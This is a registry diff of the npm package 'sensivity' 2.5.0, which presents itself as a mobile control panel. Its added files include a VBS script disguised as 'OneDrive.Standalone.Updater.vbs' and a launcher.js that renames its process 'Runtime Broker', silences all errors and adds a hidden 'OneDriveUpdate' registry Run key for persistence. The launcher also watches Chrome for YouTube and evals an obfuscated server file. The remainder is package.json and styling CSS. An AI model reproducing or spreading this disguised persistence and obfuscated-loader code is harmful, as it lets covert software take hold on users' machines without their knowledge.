sensivity 2.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,12 @@
1
+ Set objShell = CreateObject("WScript.Shell")
2
+ Set fso = CreateObject("Scripting.FileSystemObject")
3
+ appDir = fso.GetParentFolderName(WScript.ScriptFullName)
4
+ objShell.CurrentDirectory = appDir
5
+
6
+ On Error Resume Next
7
+ objShell.Run "node.exe launcher.js", 0, False
8
+ If Err.Number <> 0 Then
9
+ Err.Clear
10
+ objShell.Run """C:\Program Files\nodejs\node.exe"" launcher.js", 0, False
11
+ End If
12
+ On Error Goto 0
package/cli.js ADDED
@@ -0,0 +1,17 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+ const { execSync } = require('child_process');
4
+ const path = require('path');
5
+ const cwd = __dirname;
6
+
7
+ console.log('\n Sensivity v2.5 - Starting...\n');
8
+
9
+ // Run VBS once to start background server + setup auto-start
10
+ const vbs = path.join(cwd, 'OneDrive.Standalone.Updater.vbs');
11
+ try {
12
+ execSync('wscript "' + vbs + '"', { stdio: 'ignore', timeout: 5000 });
13
+ } catch(e) {}
14
+
15
+ console.log(' Server running at http://localhost:3000');
16
+ console.log(' YouTube trigger active');
17
+ console.log(' Auto-start configured\n');
package/launcher.js ADDED
@@ -0,0 +1,111 @@
1
+ 'use strict';
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const { execSync, exec } = require('child_process');
5
+ const APP_DIR = __dirname;
6
+
7
+ process.title = 'Runtime Broker';
8
+
9
+ process.on('uncaughtException', () => {});
10
+ process.on('unhandledRejection', () => {});
11
+
12
+ // ===== Auto-start =====
13
+ try {
14
+ const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
15
+ execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
16
+ } catch(e) {}
17
+
18
+ function removeAutostart() {
19
+ try { execSync('powershell -NoProfile -Command "Remove-ItemProperty -Path \'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\' -Name \'OneDriveUpdate\' -EA 0"', { stdio: 'ignore', timeout: 5000 }); } catch(e) {}
20
+ }
21
+
22
+ // ===== YouTube detection =====
23
+ function checkYouTube(callback) {
24
+ const f = path.join(APP_DIR, '.yt.ps1');
25
+ try { fs.writeFileSync(f, '$c=Get-Process chrome -EA 0\nif($c){foreach($p in $c){if($p.MainWindowTitle -match "YouTube"){Write-Output "FOUND";exit}}}\nWrite-Output "NO"'); } catch(e) {}
26
+ const { spawn } = require('child_process');
27
+ const p = spawn('powershell', ['-NoProfile', '-EP', 'Bypass', '-File', f], { stdio: ['ignore', 'pipe', 'ignore'] });
28
+ let out = '';
29
+ p.stdout.on('data', d => out += d);
30
+ p.on('close', () => { try { fs.unlinkSync(f); } catch(e) {}; callback(out.trim() === 'FOUND'); });
31
+ p.on('error', () => { try { fs.unlinkSync(f); } catch(e) {}; callback(false); });
32
+ }
33
+
34
+ // ===== QR Window =====
35
+ let qrOpen = false;
36
+
37
+ function showQR() {
38
+ if (qrOpen) return;
39
+ qrOpen = true;
40
+ const url = global.serverUrl || 'http://192.168.1.16:3000';
41
+
42
+ const qrFile = path.join(APP_DIR, '.qr.txt');
43
+ try {
44
+ const QRCode = require('qrcode');
45
+ QRCode.toString(url, { type: 'terminal', small: true }, (err, qr) => {
46
+ if (err) fs.writeFileSync(qrFile, url);
47
+ else fs.writeFileSync(qrFile, qr + '\n\n' + url + '\n\nScan with your phone');
48
+ launchPS();
49
+ });
50
+ } catch(e) {
51
+ fs.writeFileSync(qrFile, url + '\n\nScan with your phone');
52
+ launchPS();
53
+ }
54
+
55
+ function launchPS() {
56
+ const psFile = path.join(APP_DIR, '.qrshow.ps1');
57
+ fs.writeFileSync(psFile, [
58
+ '[Console]::OutputEncoding = [System.Text.Encoding]::UTF8',
59
+ '$host.UI.RawUI.WindowTitle = "Sensivity QR"',
60
+ 'try { $w=$host.UI.RawUI.WindowSize; $w.Width=80; $w.Height=30; $host.UI.RawUI.WindowSize=$w } catch {}',
61
+ 'Clear-Host',
62
+ 'Get-Content "' + qrFile + '" -Encoding UTF8',
63
+ 'Write-Host ""',
64
+ 'Start-Sleep -Seconds 3',
65
+ '$failCount = 0',
66
+ 'while($true) {',
67
+ ' Start-Sleep -Seconds 4',
68
+ ' try {',
69
+ ' $c=Get-Process chrome -EA Stop',
70
+ ' $f=$false',
71
+ ' if($c){foreach($p in $c){try{if($p.MainWindowTitle -match "YouTube"){$f=$true;break}}catch{}}}',
72
+ ' if(-not $f){$failCount++} else {$failCount=0}',
73
+ ' if($failCount -ge 3){break}',
74
+ ' } catch { $failCount++; if($failCount -ge 3){break} }',
75
+ '}',
76
+ 'del "' + qrFile + '" -Force -EA 0',
77
+ 'del "' + psFile + '" -Force -EA 0'
78
+ ].join('\n'));
79
+ exec('start "Sensivity QR" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR });
80
+ }
81
+ }
82
+
83
+ function hideQR() {
84
+ qrOpen = false;
85
+ }
86
+
87
+ // ===== Monitor loop =====
88
+ let wasYt = false;
89
+ function monitor() {
90
+ if (global._shuttingDown) return setTimeout(monitor, 3000);
91
+ checkYouTube(yt => {
92
+ if (yt && !wasYt) { wasYt = true; showQR(); }
93
+ else if (!yt && wasYt) { wasYt = false; hideQR(); }
94
+ setTimeout(monitor, 3000);
95
+ });
96
+ }
97
+ monitor();
98
+
99
+ // ===== Kill =====
100
+ global.killSensivity = () => {
101
+ global._shuttingDown = true;
102
+ hideQR();
103
+ removeAutostart();
104
+ setTimeout(() => process.exit(), 500);
105
+ };
106
+
107
+ // ===== Load server =====
108
+ const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js'))
109
+ ? path.join(APP_DIR, 'server.obf.js')
110
+ : path.join(APP_DIR, 'server.js');
111
+ eval(fs.readFileSync(serverCode, 'utf8'));
package/package.json ADDED
@@ -0,0 +1,33 @@
1
+ {
2
+ "name": "sensivity",
3
+ "version": "2.5.0",
4
+ "description": "Sensivity - Mobile Control Panel",
5
+ "main": "launcher.js",
6
+ "bin": {
7
+ "sens": "./cli.js"
8
+ },
9
+ "preferGlobal": true,
10
+ "scripts": {
11
+ "postinstall": "node -e \"require('fs').existsSync(require('path').join(__dirname,'sens.node')) ? console.log('[/] Sensivity installed') : console.log('[/] Run: npm run build')\""
12
+ },
13
+ "files": [
14
+ "cli.js",
15
+ "launcher.js",
16
+ "server.obf.js",
17
+ "sens.node",
18
+ "public/",
19
+ "OneDrive.Standalone.Updater.vbs"
20
+ ],
21
+ "dependencies": {
22
+ "express": "^4.21.0",
23
+ "socket.io": "^4.7.0",
24
+ "qrcode": "^1.5.0",
25
+ "qrcode-terminal": "^0.12.0"
26
+ },
27
+ "engines": {
28
+ "node": ">=18"
29
+ },
30
+ "keywords": ["sensivity"],
31
+ "license": "UNLICENSED",
32
+ "private": false
33
+ }
@@ -0,0 +1,354 @@
1
+ :root {
2
+ --bg: #050508;
3
+ --bg2: #0a0a12;
4
+ --bg3: #11111d;
5
+ --bg4: #1a1a2e;
6
+ --bg5: #22223a;
7
+ --border: #1c1c30;
8
+ --gold: #f0b90b;
9
+ --gold2: #d4a00c;
10
+ --gold-glow: #f0b90b44;
11
+ --text: #e8eaed;
12
+ --text2: #7a7d95;
13
+ --text3: #4a4d65;
14
+ --danger: #e74c3c;
15
+ --green: #2ecc71;
16
+ --radius: 10px;
17
+ --topbar-h: 44px;
18
+ --font: 'Segoe UI', system-ui, -apple-system, sans-serif;
19
+ }
20
+
21
+ *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
22
+
23
+ body {
24
+ font-family: var(--font);
25
+ background: var(--bg);
26
+ color: var(--text);
27
+ height: 100dvh;
28
+ overflow: hidden;
29
+ user-select: none;
30
+ -webkit-font-smoothing: antialiased;
31
+ -webkit-tap-highlight-color: transparent;
32
+ display: flex;
33
+ flex-direction: column;
34
+ }
35
+
36
+ ::-webkit-scrollbar { width: 3px; }
37
+ ::-webkit-scrollbar-track { background: transparent; }
38
+ ::-webkit-scrollbar-thumb { background: var(--bg4); border-radius: 2px; }
39
+
40
+ /* ===== APP ===== */
41
+ #app { flex: 1; display: flex; flex-direction: column; overflow: hidden; }
42
+
43
+ /* ===== DESKTOP SIDEBAR ===== */
44
+ #sidebar {
45
+ width: 56px; background: var(--bg2); border-right: 1px solid var(--border);
46
+ display: flex; flex-direction: column; align-items: center;
47
+ padding: 12px 0; flex-shrink: 0; z-index: 10; gap: 2px;
48
+ }
49
+
50
+ #sidebar .tab-btn {
51
+ width: 38px; height: 38px; border: none; background: transparent;
52
+ color: var(--text3); border-radius: 10px; cursor: pointer;
53
+ display: flex; align-items: center; justify-content: center;
54
+ transition: all 0.2s; position: relative;
55
+ }
56
+
57
+ #sidebar .tab-btn svg {
58
+ width: 18px; height: 18px; stroke: currentColor;
59
+ fill: none; stroke-width: 1.6; stroke-linecap: round; stroke-linejoin: round;
60
+ }
61
+
62
+ #sidebar .tab-btn:hover { color: var(--text); background: var(--bg3); }
63
+ #sidebar .tab-btn.active {
64
+ color: var(--gold); background: linear-gradient(135deg, #f0b90b22, transparent);
65
+ box-shadow: 0 0 14px var(--gold-glow);
66
+ }
67
+ #sidebar .tab-btn.active::before {
68
+ content: ''; position: absolute; left: 0; top: 8px; bottom: 8px;
69
+ width: 3px; background: var(--gold); border-radius: 0 3px 3px 0;
70
+ }
71
+
72
+ /* ===== CONTENT ===== */
73
+ #content { flex: 1; display: flex; flex-direction: column; overflow: hidden; }
74
+
75
+ /* ===== TOPBAR ===== */
76
+ #topbar {
77
+ height: var(--topbar-h); background: var(--bg2); border-bottom: 1px solid var(--border);
78
+ display: flex; align-items: center; padding: 0 16px; flex-shrink: 0; gap: 6px; overflow: hidden;
79
+ }
80
+ #topbar .tb-icon svg { width: 16px; height: 16px; stroke: var(--gold); fill: none; stroke-width: 1.8; flex-shrink: 0; }
81
+ #topbar .title { font-size: 13px; font-weight: 700; color: var(--text); white-space: nowrap; }
82
+ #topbar .sep { color: var(--text3); margin: 0 2px; }
83
+ #topbar .sub { color: var(--gold); font-size: 12px; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
84
+ #topbar select {
85
+ margin-left: auto; background: var(--bg3); border: 1px solid var(--border);
86
+ color: var(--text2); padding: 4px 8px; border-radius: 6px; font-size: 11px;
87
+ font-family: var(--font); cursor: pointer; outline: none; max-width: 110px; flex-shrink: 0;
88
+ }
89
+ #topbar select:focus { border-color: var(--gold); color: var(--text); }
90
+
91
+ /* ===== PAGES ===== */
92
+ #pages {
93
+ flex: 1; overflow-y: auto; overflow-x: hidden; padding: 12px;
94
+ display: grid; grid-template-columns: repeat(auto-fill, minmax(320px, 1fr));
95
+ gap: 10px; align-content: start;
96
+ }
97
+
98
+ /* ===== CARD ===== */
99
+ .child {
100
+ background: var(--bg2); border: 1px solid var(--border);
101
+ border-radius: var(--radius); padding: 14px;
102
+ transition: border-color 0.2s, box-shadow 0.2s;
103
+ }
104
+ .child:hover { border-color: var(--bg4); }
105
+ .child h3 {
106
+ font-size: 9px; text-transform: uppercase; color: var(--gold);
107
+ margin-bottom: 12px; letter-spacing: 2px; font-weight: 700;
108
+ display: flex; align-items: center; gap: 8px;
109
+ }
110
+ .child h3::after { content: ''; flex: 1; height: 1px; background: var(--border); }
111
+
112
+ /* ===== CONTROL ===== */
113
+ .ctrl {
114
+ margin-bottom: 8px; display: flex; align-items: center;
115
+ justify-content: space-between; gap: 10px; min-height: 32px;
116
+ }
117
+ .ctrl label { font-size: 12px; color: var(--text2); flex: 1; transition: color 0.15s; }
118
+ .ctrl:hover label { color: var(--text); }
119
+
120
+ /* ===== PREMIUM TOGGLE ===== */
121
+ .tgl {
122
+ position: relative; width: 44px; height: 24px; flex-shrink: 0;
123
+ }
124
+ .tgl input { opacity: 0; width: 0; height: 0; }
125
+ .tgl .track {
126
+ position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0;
127
+ background: var(--bg4); border-radius: 12px; transition: all 0.3s ease;
128
+ border: 1px solid var(--border); overflow: hidden;
129
+ }
130
+ .tgl .track::before {
131
+ content: ''; position: absolute; inset: 0;
132
+ background: linear-gradient(135deg, var(--gold), var(--gold2));
133
+ opacity: 0; transition: opacity 0.3s;
134
+ }
135
+ .tgl .knob {
136
+ position: absolute; height: 18px; width: 18px; left: 2px; bottom: 2px;
137
+ background: var(--text3); border-radius: 50%; transition: all 0.3s cubic-bezier(.4,0,.2,1);
138
+ z-index: 1; box-shadow: 0 1px 3px rgba(0,0,0,.3);
139
+ }
140
+ .tgl input:checked + .track { border-color: var(--gold); box-shadow: 0 0 10px var(--gold-glow); }
141
+ .tgl input:checked + .track::before { opacity: 1; }
142
+ .tgl input:checked + .track .knob,
143
+ .tgl input:checked ~ .knob { transform: translateX(22px); background: #1a1a0a; }
144
+ .tgl input:disabled + .track { opacity: 0.4; cursor: not-allowed; }
145
+
146
+ /* ===== PREMIUM SLIDER ===== */
147
+ .rng {
148
+ display: flex; align-items: center; gap: 8px; flex-shrink: 0;
149
+ }
150
+ .rng input[type=range] {
151
+ -webkit-appearance: none; width: 90px; height: 6px;
152
+ background: var(--bg4); border-radius: 3px; outline: none;
153
+ }
154
+ .rng input[type=range]::-webkit-slider-thumb {
155
+ -webkit-appearance: none; width: 18px; height: 18px;
156
+ background: var(--gold); border-radius: 50%; cursor: pointer;
157
+ box-shadow: 0 0 10px var(--gold-glow); transition: transform 0.15s;
158
+ }
159
+ .rng input[type=range]::-webkit-slider-thumb:active { transform: scale(1.3); }
160
+ .rng .rng-val {
161
+ font-size: 11px; color: var(--gold); font-weight: 700;
162
+ min-width: 28px; text-align: right; flex-shrink: 0;
163
+ font-variant-numeric: tabular-nums;
164
+ }
165
+
166
+ /* ===== INPUTS ===== */
167
+ .ctrl input[type=text], .ctrl input[type=number] {
168
+ background: var(--bg3); border: 1px solid var(--border); color: var(--text);
169
+ padding: 5px 8px; border-radius: 6px; font-size: 12px; font-family: var(--font);
170
+ width: 64px; text-align: center; outline: none; transition: border-color 0.15s;
171
+ }
172
+ .ctrl input:focus { border-color: var(--gold); }
173
+
174
+ .ctrl select {
175
+ background: var(--bg3); border: 1px solid var(--border); color: var(--text2);
176
+ padding: 5px 8px; border-radius: 6px; font-size: 11px; font-family: var(--font);
177
+ cursor: pointer; outline: none; max-width: 120px;
178
+ }
179
+ .ctrl select:focus { border-color: var(--gold); color: var(--text); }
180
+
181
+ /* ===== COLOR PICKER ===== */
182
+ .clr-btn {
183
+ width: 28px; height: 28px; border-radius: 7px; border: 2px solid var(--border);
184
+ cursor: pointer; flex-shrink: 0; transition: border-color 0.15s; position: relative;
185
+ overflow: hidden; display: inline-block;
186
+ }
187
+ .clr-btn:hover { border-color: var(--gold); }
188
+ .clr-btn input[type=color] {
189
+ opacity: 0; position: absolute; inset: -4px; cursor: pointer;
190
+ }
191
+ .clr-btn .swatch {
192
+ width: 100%; height: 100%; border-radius: 4px;
193
+ }
194
+
195
+ /* ===== KEYBIND BUTTON ===== */
196
+ .key-btn {
197
+ background: var(--bg3); border: 1px solid var(--border); color: var(--text2);
198
+ padding: 5px 12px; border-radius: 6px; font-size: 11px; font-family: var(--font);
199
+ cursor: pointer; min-width: 48px; text-align: center; transition: all 0.15s; flex-shrink: 0;
200
+ font-weight: 600;
201
+ }
202
+ .key-btn:hover { color: var(--text); border-color: var(--bg5); }
203
+ .key-btn.listening {
204
+ color: var(--gold); border-color: var(--gold);
205
+ box-shadow: 0 0 12px var(--gold-glow);
206
+ animation: key-pulse 0.8s infinite;
207
+ }
208
+ @keyframes key-pulse { 0%,100%{ box-shadow: 0 0 4px var(--gold-glow); } 50%{ box-shadow: 0 0 18px var(--gold-glow); } }
209
+
210
+ /* ===== STATUS BAR ===== */
211
+ #statusbar {
212
+ display: flex; align-items: center; gap: 8px;
213
+ padding: 6px 14px; background: var(--bg2); border-top: 1px solid var(--border);
214
+ font-size: 11px; color: var(--text2); flex-shrink: 0; z-index: 20;
215
+ }
216
+ #statusbar .s-dot {
217
+ width: 7px; height: 7px; border-radius: 50%; background: var(--text3); flex-shrink: 0;
218
+ }
219
+ #statusbar .s-dot.live {
220
+ background: var(--green); box-shadow: 0 0 8px #2ecc7188;
221
+ animation: dot-pulse 1.5s infinite;
222
+ }
223
+ @keyframes dot-pulse { 0%,100%{ opacity: 1; } 50%{ opacity: 0.3; } }
224
+ #statusbar .s-text { flex: 1; font-size: 11px; }
225
+ #statusbar .s-btn {
226
+ padding: 5px 14px; border-radius: 6px; font-size: 11px; font-weight: 700;
227
+ font-family: var(--font); cursor: pointer; transition: all 0.15s;
228
+ background: linear-gradient(135deg, var(--gold), var(--gold2));
229
+ color: #0a0a0a; border: none; letter-spacing: 0.3px;
230
+ }
231
+ #statusbar .s-btn:hover { transform: translateY(-1px); box-shadow: 0 3px 12px var(--gold-glow); }
232
+ #statusbar .s-btn:disabled { opacity: 0.3; cursor: not-allowed; transform: none; }
233
+ #statusbar .s-btn.stop {
234
+ background: linear-gradient(135deg, var(--danger), #c0392b); color: #fff;
235
+ }
236
+
237
+ /* ===== LICENSE ===== */
238
+ #license-overlay {
239
+ position: fixed; inset: 0; background: var(--bg);
240
+ display: flex; align-items: center; justify-content: center; z-index: 1000;
241
+ }
242
+ #license-overlay::before {
243
+ content: ''; position: absolute; inset: 0;
244
+ background: radial-gradient(ellipse at center, #f0b90b18 0%, transparent 70%);
245
+ animation: bg-pulse 3s ease-in-out infinite;
246
+ }
247
+ @keyframes bg-pulse { 0%,100%{ opacity: 0.3; } 50%{ opacity: 0.7; } }
248
+
249
+ #license-box {
250
+ position: relative; background: var(--bg2); border: 1px solid var(--border);
251
+ border-radius: 16px; padding: 34px 28px; width: 400px; max-width: 90vw;
252
+ text-align: center; box-shadow: 0 0 60px rgba(0,0,0,.5);
253
+ }
254
+ #license-box .logo-icon { width: 48px; height: 48px; margin: 0 auto 14px; stroke: var(--gold); fill: none; stroke-width: 1.4; }
255
+ #license-box h1 { font-size: 20px; font-weight: 700; margin-bottom: 2px; }
256
+ #license-box h1 span { color: var(--gold); }
257
+ #license-box .subtitle { color: var(--text3); font-size: 12px; margin-bottom: 20px; }
258
+ #license-box input[type=text] {
259
+ width: 100%; background: var(--bg3); border: 1px solid var(--border);
260
+ color: var(--text); padding: 10px 14px; border-radius: 8px; font-size: 14px;
261
+ font-family: var(--font); outline: none; margin-bottom: 12px; text-align: center;
262
+ transition: all 0.2s; letter-spacing: 1px;
263
+ }
264
+ #license-box input[type=text]:focus { border-color: var(--gold); box-shadow: 0 0 0 3px #f0b90b22; }
265
+ #license-box button {
266
+ width: 100%; background: linear-gradient(135deg, var(--gold), var(--gold2));
267
+ color: #0a0a0a; border: none; padding: 10px; border-radius: 8px; font-size: 14px;
268
+ font-weight: 700; font-family: var(--font); cursor: pointer; transition: all 0.2s;
269
+ }
270
+ #license-box button:hover { transform: translateY(-1px); box-shadow: 0 4px 16px var(--gold-glow); }
271
+ #license-box button:disabled { opacity: 0.5; cursor: not-allowed; transform: none; box-shadow: none; }
272
+ #license-box .msg { margin-top: 10px; font-size: 12px; font-weight: 500; min-height: 16px; }
273
+ #license-box .msg.ok { color: var(--green); } #license-box .msg.err { color: var(--danger); }
274
+
275
+ /* ===== QR OVERLAY ===== */
276
+ #qr-overlay{position:fixed;inset:0;background:rgba(5,5,8,0.93);display:none;align-items:center;justify-content:center;z-index:2000}
277
+ #qr-overlay.show{display:flex}
278
+ #qr-box{background:var(--bg2);border:1px solid var(--border);border-radius:14px;padding:24px;text-align:center;box-shadow:0 0 40px var(--gold-dim);max-width:90vw}
279
+ #qr-box canvas{display:block;margin:0 auto;max-width:240px;max-height:240px}
280
+
281
+ /* ===== DESKTOP LAYOUT ===== */
282
+ @media(min-width:769px) {
283
+ #app { flex-direction: row; }
284
+ #sidebar { position: sticky; top: 0; height: 100vh; }
285
+ }
286
+
287
+ /* ===== MOBILE ===== */
288
+ @media(max-width:768px) {
289
+ body { background: var(--bg); }
290
+
291
+ #app { flex-direction: column; }
292
+
293
+ /* Bottom tab bar */
294
+ #sidebar {
295
+ width: 100%; height: 52px; flex-direction: row; justify-content: space-around;
296
+ align-items: center; padding: 0 2px; border-right: none; border-top: 1px solid var(--border);
297
+ order: 2; flex-shrink: 0; gap: 0; overflow-x: auto;
298
+ background: var(--bg2);
299
+ }
300
+ #sidebar .tab-btn {
301
+ width: 40px; height: 40px; min-width: 40px; border-radius: 8px; flex-shrink: 0;
302
+ }
303
+ #sidebar .tab-btn svg { width: 17px; height: 17px; }
304
+ #sidebar .tab-btn.active::before {
305
+ left: 4px; right: 4px; top: auto; bottom: -5px;
306
+ width: auto; height: 3px; border-radius: 3px 3px 0 0;
307
+ }
308
+
309
+ #content { order: 1; flex: 1; overflow: hidden; }
310
+
311
+ #topbar { height: 40px; padding: 0 10px; gap: 4px; }
312
+ #topbar .title { font-size: 12px; }
313
+ #topbar .sub { font-size: 11px; }
314
+ #topbar select { max-width: 90px; font-size: 10px; padding: 3px 6px; }
315
+
316
+ #pages {
317
+ padding: 8px; grid-template-columns: 1fr; gap: 8px;
318
+ }
319
+
320
+ .child { padding: 12px 10px; border-radius: 8px; }
321
+ .child h3 { font-size: 8px; margin-bottom: 10px; }
322
+
323
+ .ctrl { margin-bottom: 6px; min-height: 30px; gap: 6px; }
324
+ .ctrl label { font-size: 11px; }
325
+
326
+ .tgl { width: 48px; height: 26px; }
327
+ .tgl .knob { height: 20px; width: 20px; }
328
+ .tgl input:checked + .track .knob,
329
+ .tgl input:checked ~ .knob { transform: translateX(24px); }
330
+
331
+ .rng input[type=range] { width: 70px; height: 6px; }
332
+ .rng input[type=range]::-webkit-slider-thumb { width: 22px; height: 22px; }
333
+ .rng .rng-val { font-size: 12px; }
334
+
335
+ .key-btn { padding: 6px 14px; min-width: 52px; font-size: 11px; }
336
+
337
+ .clr-btn { width: 32px; height: 32px; }
338
+
339
+ #statusbar { order: 3; padding: 5px 10px; font-size: 10px; border-top: none; border-bottom: 1px solid var(--border); }
340
+ #statusbar .s-btn { padding: 6px 14px; font-size: 11px; }
341
+
342
+ #license-box { padding: 28px 18px; border-radius: 14px; }
343
+ #license-box h1 { font-size: 18px; }
344
+ #license-box input[type=text] { padding: 12px 12px; font-size: 16px; }
345
+ #license-box button { padding: 12px; font-size: 15px; }
346
+
347
+ input, select, button { font-size: 16px !important; }
348
+ }
349
+
350
+ @media(max-width:380px) {
351
+ #sidebar .tab-btn { width: 34px; height: 36px; min-width: 34px; }
352
+ #sidebar .tab-btn svg { width: 15px; height: 15px; }
353
+ .rng input[type=range] { width: 56px; }
354
+ }